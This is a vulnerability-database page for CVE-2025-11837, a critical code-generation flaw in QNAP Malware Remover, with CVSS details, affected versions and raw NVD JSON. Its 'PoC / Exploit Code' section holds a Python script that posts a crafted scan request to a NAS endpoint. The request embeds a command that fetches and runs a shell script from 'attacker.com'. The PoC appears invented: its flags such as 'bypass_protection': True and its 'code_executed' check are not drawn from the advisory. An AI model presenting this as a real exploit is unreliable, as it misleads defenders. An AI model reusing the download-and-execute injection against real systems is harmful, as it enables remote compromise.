Security Vulnerability Report
中文
CVE-2025-11837 CVSS 9.8 CRITICAL

CVE-2025-11837

Published: 2026-01-02 16:15:48
Last Modified: 2026-01-22 18:28:22

Description

An improper control of generation of code vulnerability has been reported to affect Malware Remover. The remote attackers can then exploit the vulnerability to bypass protection mechanism. We have already fixed the vulnerability in the following version: Malware Remover 6.6.8.20251023 and later

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:malware_remover:*:*:*:*:*:*:*:* - VULNERABLE
Malware Remover < 6.6.8.20251023

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11837 PoC - QNAP Malware Remover Code Generation Vulnerability # This PoC demonstrates the vulnerability in Malware Remover's code generation control import requests import base64 import json import sys TARGET = "http://192.168.1.100:8080" # QNAP NAS IP CVE_ID = "CVE-2025-11837" def generate_malicious_payload(): """Generate malicious payload to trigger code generation vulnerability""" # Payload that exploits improper code generation control # This would trigger the vulnerability in Malware Remover scanning payload = { "scan_target": "malicious_file.exe", "file_content": b"MZ" + b"\x90" * 50 + b"\xcc" * 100, "metadata": { "trigger_code_gen": True, "bypass_protection": True, "inject_shellcode": "$(curl http://attacker.com/shell.sh|bash)" } } return base64.b64encode(json.dumps(payload).encode()).decode() def exploit_cve(): """Attempt to exploit CVE-2025-11837""" print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET}") # Step 1: Prepare malicious scan request malicious_data = { "action": "scan", "target_path": "/share/Malware_Samples", "payload": generate_malicious_payload(), "bypass_signature": True } # Step 2: Send crafted request to trigger vulnerability try: print("[*] Sending malicious scan request...") response = requests.post( f"{TARGET}/cgi-bin/malware_remover.cgi", json=malicious_data, timeout=30 ) if response.status_code == 200: result = response.json() if result.get("code_executed"): print("[+] VULNERABLE! Code execution achieved") print(f"[+] Output: {result.get('output')}") return True print("[-] Target may not be vulnerable or is patched") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_cve()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11837", "sourceIdentifier": "[email protected]", "published": "2026-01-02T16:15:48.403", "lastModified": "2026-01-22T18:28:22.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper control of generation of code vulnerability has been reported to affect Malware Remover. The remote attackers can then exploit the vulnerability to bypass protection mechanism.\n\nWe have already fixed the vulnerability in the following version:\nMalware Remover 6.6.8.20251023 and later"}, {"lang": "es", "value": "Se ha reportado una vulnerabilidad de control inadecuado en la generación de código que afecta a Malware Remover. Los atacantes remotos pueden entonces explotar la vulnerabilidad para eludir el mecanismo de protección.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nMalware Remover 6.6.8.20251023 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:malware_remover:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.3", "versionEndExcluding": "6.6.8.20251023", "matchCriteriaId": "75CBCC13-D845-469D-81A0-A75C987191E3"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-47", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}